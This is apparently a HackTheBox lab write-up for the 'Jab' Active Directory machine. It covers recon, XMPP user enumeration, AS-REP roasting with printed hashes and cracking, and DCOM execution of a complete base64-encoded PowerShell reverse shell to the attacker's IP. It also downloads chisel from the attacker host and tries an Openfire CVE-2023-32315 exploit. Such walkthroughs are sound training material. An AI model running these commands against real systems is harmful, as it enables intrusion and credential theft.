Jab Write-Up - HTB

Recon

PORT      STATE SERVICE             VERSION
53/tcp    open  domain              Simple DNS Plus
88/tcp    open  kerberos-sec        Microsoft Windows Kerberos (server time: 2025-04-28 20:56:59Z)
135/tcp   open  msrpc               Microsoft Windows RPC
139/tcp   open  netbios-ssn         Microsoft Windows netbios-ssn
389/tcp   open  ldap                Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.jab.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.jab.htb
| Not valid before: 2023-11-01T20:16:18
|_Not valid after:  2024-10-31T20:16:18
|_ssl-date: 2025-04-28T20:58:18+00:00; 0s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http          Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap            Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.jab.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.jab.htb
| Not valid before: 2023-11-01T20:16:18
|_Not valid after:  2024-10-31T20:16:18
|_ssl-date: 2025-04-28T20:58:18+00:00; 0s from scanner time.
3268/tcp  open  ldap                Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-28T20:58:19+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.jab.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.jab.htb
| Not valid before: 2023-11-01T20:16:18
|_Not valid after:  2024-10-31T20:16:18
3269/tcp  open  ssl/ldap            Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.jab.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.jab.htb
| Not valid before: 2023-11-01T20:16:18
|_Not valid after:  2024-10-31T20:16:18
|_ssl-date: 2025-04-28T20:58:18+00:00; 0s from scanner time.
5222/tcp  open  jabber
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.jab.htb
| Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb
| Not valid before: 2023-10-26T22:00:12
|_Not valid after:  2028-10-24T22:00:12
| fingerprint-strings: 
|   RPCCheck: 
|_    <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream>
| xmpp-info: 
|   STARTTLS Failed
|   info: 
|     capabilities: 
|     xmpp: 
|       version: 1.0
|     compression_methods: 
|     auth_mechanisms: 
|     errors: 
|       invalid-namespace
|       (timeout)
|     unknown: 
|     features: 
|_    stream_id: 1yjz9ki5qy
5223/tcp  open  ssl/jabber
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.jab.htb
| Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb
| Not valid before: 2023-10-26T22:00:12
|_Not valid after:  2028-10-24T22:00:12
| xmpp-info: 
|   STARTTLS Failed
|   info: 
|     capabilities: 
|     xmpp: 
|     compression_methods: 
|     auth_mechanisms: 
|     errors: 
|       (timeout)
|     unknown: 
|_    features: 
| fingerprint-strings: 
|   RPCCheck: 
|_    <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream>
5262/tcp  open  jabber
| xmpp-info: 
|   STARTTLS Failed
|   info: 
|     capabilities: 
|     xmpp: 
|       version: 1.0
|     compression_methods: 
|     auth_mechanisms: 
|     errors: 
|       invalid-namespace
|       (timeout)
|     unknown: 
|     features: 
|_    stream_id: 981kqlsdfj
| fingerprint-strings: 
|   RPCCheck: 
|_    <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream>
5263/tcp  open  ssl/jabber
| xmpp-info: 
|   STARTTLS Failed
|   info: 
|     capabilities: 
|     xmpp: 
|     compression_methods: 
|     auth_mechanisms: 
|     errors: 
|       (timeout)
|     unknown: 
|_    features: 
| ssl-cert: Subject: commonName=dc01.jab.htb
| Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb
| Not valid before: 2023-10-26T22:00:12
|_Not valid after:  2028-10-24T22:00:12
| fingerprint-strings: 
|   RPCCheck: 
|_    <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream>
|_ssl-date: TLS randomness does not represent time
5269/tcp  open  xmpp                Wildfire XMPP Client
| xmpp-info: 
|   STARTTLS Failed
|   info: 
|     capabilities: 
|     xmpp: 
|     compression_methods: 
|     auth_mechanisms: 
|     errors: 
|       (timeout)
|     unknown: 
|_    features: 
5270/tcp  open  ssl/xmpp            Wildfire XMPP Client
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.jab.htb
| Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb
| Not valid before: 2023-10-26T22:00:12
|_Not valid after:  2028-10-24T22:00:12
5275/tcp  open  jabber
| xmpp-info: 
|   STARTTLS Failed
|   info: 
|     capabilities: 
|     xmpp: 
|       version: 1.0
|     compression_methods: 
|     auth_mechanisms: 
|     errors: 
|       invalid-namespace
|       (timeout)
|     unknown: 
|     features: 
|_    stream_id: 982tavb744
| fingerprint-strings: 
|   RPCCheck: 
|_    <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream>
5276/tcp  open  ssl/jabber
| ssl-cert: Subject: commonName=dc01.jab.htb
| Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb
| Not valid before: 2023-10-26T22:00:12
|_Not valid after:  2028-10-24T22:00:12
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings: 
|   RPCCheck: 
|_    <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream>
| xmpp-info: 
|   STARTTLS Failed
|   info: 
|     capabilities: 
|     xmpp: 
|     compression_methods: 
|     auth_mechanisms: 
|     errors: 
|       (timeout)
|     unknown: 
|_    features: 
5985/tcp  open  http                Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7070/tcp  open  realserver?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP: 
|     HTTP/1.1 400 Illegal character CNTL=0x0
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x0</pre>
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Mon, 28 Apr 2025 20:56:59 GMT
|     Last-Modified: Wed, 16 Feb 2022 15:55:02 GMT
|     Content-Type: text/html
|     Accept-Ranges: bytes
|     Content-Length: 223
|     <html>
|     <head><title>Openfire HTTP Binding Service</title></head>
|     <body><font face="Arial, Helvetica"><b>Openfire <a href="http://www.xmpp.org/extensions/xep-0124.html">HTTP Binding</a> Service</b></font></body>
|     </html>
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Mon, 28 Apr 2025 20:57:05 GMT
|     Allow: GET,HEAD,POST,OPTIONS
|   Help: 
|     HTTP/1.1 400 No URI
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 49
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: No URI</pre>
|   RPCCheck: 
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
|   RTSPRequest: 
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
|   SSLSessionReq: 
|     HTTP/1.1 400 Illegal character CNTL=0x16
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 70
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x16</pre>
7443/tcp  open  ssl/oracleas-https?
| ssl-cert: Subject: commonName=dc01.jab.htb
| Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb
| Not valid before: 2023-10-26T22:00:12
|_Not valid after:  2028-10-24T22:00:12
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP: 
|     HTTP/1.1 400 Illegal character CNTL=0x0
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x0</pre>
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Mon, 28 Apr 2025 20:57:12 GMT
|     Last-Modified: Wed, 16 Feb 2022 15:55:02 GMT
|     Content-Type: text/html
|     Accept-Ranges: bytes
|     Content-Length: 223
|     <html>
|     <head><title>Openfire HTTP Binding Service</title></head>
|     <body><font face="Arial, Helvetica"><b>Openfire <a href="http://www.xmpp.org/extensions/xep-0124.html">HTTP Binding</a> Service</b></font></body>
|     </html>
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Mon, 28 Apr 2025 20:57:18 GMT
|     Allow: GET,HEAD,POST,OPTIONS
|   Help: 
|     HTTP/1.1 400 No URI
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 49
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: No URI</pre>
|   RPCCheck: 
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
|   RTSPRequest: 
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
|   SSLSessionReq: 
|     HTTP/1.1 400 Illegal character CNTL=0x16
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 70
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x16</pre>
7777/tcp  open  socks5              (No authentication; connection not allowed by ruleset)
| socks-auth-info: 
|_  No authentication
9389/tcp  open  mc-nmf              .NET Message Framing
47001/tcp open  http                Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc               Microsoft Windows RPC
49665/tcp open  msrpc               Microsoft Windows RPC
49666/tcp open  msrpc               Microsoft Windows RPC
49667/tcp open  msrpc               Microsoft Windows RPC
49673/tcp open  msrpc               Microsoft Windows RPC
49690/tcp open  ncacn_http          Microsoft Windows RPC over HTTP 1.0
49691/tcp open  msrpc               Microsoft Windows RPC
49694/tcp open  msrpc               Microsoft Windows RPC
49699/tcp open  msrpc               Microsoft Windows RPC
49731/tcp open  msrpc               Microsoft Windows RPC
49822/tcp open  msrpc               Microsoft Windows RPC

Enumeration

After doing basic enumeration over LDAP and SMB and didn't find anything special, I moved to XMPP.

Connected to it via profanity.

Started basic enumeration via /xmpconsole

<iq type='get' id='version1' to='jab.htb'>
  <query xmlns='jabber:iq:version'/>
</iq>

22:50:00 - RECV:
22:50:00 - <iq id="version1" to="iew4x33tb@jab.htb/iew4x33tb" type="result" from="jab.htb"><query xmlns="jabber:iq:version"><name>Openfire</name><version>4.7.5</version><os>Windows Server 2019 10.0 (amd64) - Java 1.8.0_391</os></query></iq>

This seems to be a vulnerable version.

By running:

/disco info

//I found:
22:58:23 - Server contact information:
22:58:23 -   admin-addresses:
22:58:23 -     xmpp:admin@jab.htb
22:58:23 -     mailto:admin@jab.htb
22:58:23 -     xmpp:svc_openfire@jab.htb

Running:

<iq type='get' id='v3' to='svc_openfire@jab.htb'>
  <vCard xmlns='vcard-temp'/>
</iq>

#Outputs a big b64 encode string. 

Let's check that string.

Nothing...

After a while I managed to enumerate all the users:

<iq type='set' id='search2' to='search.jab.htb'>
  <query xmlns='jabber:iq:search'>
    <x xmlns='jabber:x:data' type='submit'>
      <field var='FORM_TYPE' type='hidden'>
        <value>jabber:iq:search</value>
      </field>
      <field var='search'>
        <value>*</value>
      </field>
      <field var='Username'>
        <value>1</value>
      </field>
      <field var='Name'>
        <value>1</value>
      </field>
      <field var='Email'>
        <value>1</value>
      </field>
    </x>
  </query>
</iq>

Seems like we've reached a roadblock. Many users, not many ideas.

Footholding

Let's see if there are any Kerberoastable ones:

impacket-GetNPUsers jab.htb/ -usersfile users.txt -format john -outputfile hashes.txt
[-] User csinquefield doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User rwester doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$lbradford@JAB.HTB:bae45c8800855103554bfd240b780475$1b635a838df2b5bb268276c0e23e2ff958cb6f0bbc63b0025cd5477dab6a878afdaac7ddee211c072e04f32ea000b36ab671c53c1243bcd078451320761c038c95e80b6f006a92d85274b5b5865dc21ac89cf141f961124769e7f3e6cdfc4f90be26dbc601c161119f4bfe391949c59baeffefcaa8b598da833e698b61a64af4acdeb641fae6caba7eb4413e226d56949374c4f8e47e1edc7cb6eddfee19879b431d95ee627955e6ce6f1421ebaa5b891e162a1ea9d0189fd401822217dda5008e4ce7f23be15c849b271b9f640eb8012121ed8f64f6164c52061dd3028c4a5b261f

$krb5asrep$jmontgomery@JAB.HTB:659b370246c775e4b929f43f1c55d55f$c22adc0085c69d503034b0b5c6c178ae2ea7ccf2a9c13b2f6dce97e6332825cb7b94238147c30e6cace5c5cb1e654d08ff5d3e45822cac0ca5f024eba5a0caeb4c00a55b8cde3b5b27ddf5376b4a277cea1f3d6951d2e007171ed3023e18cd249821d7076c0d7318d1bffe4a615fa12f5812fac2fa4e92aad75d37b624b468aa29139ee641a9d1f10611abd4d6ce1d9a813156f4d1bf13aaf98c63fedef3440faeb0523a8c06640d1d2257a4dbe30835efa3e57665d22c141f5a04bd04c75298ab0d1054b670d41325fde3774e52615f8f6a859a0abd59f3c62ce2ee9224c07683e4
$krb5asrep$mlowe@JAB.HTB:8c8a4bfc254841784d389424d2524f45$c3e0bbca9b067fcfed08c480fc748e0bf17ca7fea8f38bf315d779f1528b72ae6a67bff2537d5be97761de9ec6171f7cf8b446255d06a088e60539ee05d464e7ed40fa7ad6e550487273b44f1306fb562905bd8e5bfdafea592435068c054f2868d638a5cf18648e91fcae73b99bef0559637d614c6b65b11e8a0165a0ea5ac45e2ef6b2097ee19d95b402c0ac63a8c24a17096f1de699e810dc2e82d28419d6fbd8b212d0789aa80b7dddf68c98114cc9221dec23fadd612941f402f26fd149a171a38846ba4192920d7cd745469a31634ba85c9c218678e1762eca9b5be99b0a4e

Let's hope we can crack any of these.

john --wordlist=/home/czr/HTB/rockyou.txt hashs.txt

Wonderful!

I connected to jabber with the new creds:

Found valid creds for svc_openfire service:

Checking Bloodhound:

Interesting, we have ExecuteDCOM permissions:

After some trial and error and back n forth action. I tried several ways of authenticating, via hash, via TGS, via user+pw and nothing worked... Well almost nothing.

Interesting enough, this command was always hanging, not throwing any error:

impacket-dcomexec jab.htb/svc_openfire@dc01.jab.htb -object MMC20
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] SMBv3.0 dialect used
^C[-] 

I said, let's try launching commands remotely:

impacket-dcomexec -silentcommand jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@dc01.jab.htb -object MMC20 "whoami

This didn't show anything, but it didn't hang anymore.

This started hanging:

impacket-dcomexec -silentcommand jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@dc01.jab.htb -object MMC20 "pwd"   
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

^C[-] nca_s_proto_error
^CTraceback (most recent call last):
  File "/usr/lib/python3.13/threading.py", line 1540, in _shutdown
    _thread_shutdown()
KeyboardInterrupt: 

Due to this pattern, I tried running a reverse shell:

PS_SHELL='$client = New-Object System.Net.Sockets.TCPClient("10.10.16.5",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
echo -n "$PS_SHELL" | iconv -t utf16le | base64 -w 0
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4ANQAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=

Let's give it a shot:

impacket-dcomexec -silentcommand jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@dc01.jab.htb -object MMC20 "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4ANQAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="

Sweet!

PrivEsc

After I ran a couple of PrivEsc commands, I found something useful:

netstat -ano | findstr "LISTENING"

We can find:

  TCP    127.0.0.1:9090         0.0.0.0:0              LISTENING       3204
  TCP    127.0.0.1:9091         0.0.0.0:0              LISTENING       3204

We see that openfire is listening on these:

Get-Process -Id 3204

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName                                                  
-------  ------    -----      -----     ------     --  -- -----------                                                  
   1779      94   310696     278508              3204   0 openfire-service

Now, I ran chisel.

iwr -Uri "http://10.10.16.5:9080/chisel.exe" -OutFile chisel.exe
.\chisel.exe client 10.10.16.5:1010 R:socks

Give the fact that we know this is a vulnerable version: 4.7.5 through msf, let's set the console up:

Seems to fail... hmm:

[*] Started reverse TCP handler on 10.10.16.5:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The target is not exploitable. Openfire version is 4.7.5 ForceExploit is enabled, proceeding with exploitation.
[*] Grabbing the cookies.
[*] JSESSIONID=node0135pqeuh1vttzvg8h2oiksnsu3.node0
[*] Adding a new admin user.
[-] Exploit aborted due to failure: no-access: Adding a new admin user is not successful.
[*] Exploit completed, but no session was created.

I chose a different PoC:

Didn't work.

And then it occured in my mind that WTF! We are already svc_openfire! So, I tried the same credentials over the portal and it works.

I used the same PoC:

https://github.com/miko550/CVE-2023-32315 - But this time I only uploaded the plugin.

Set up a reverse shell:

Cool one! Really cool!

Last updated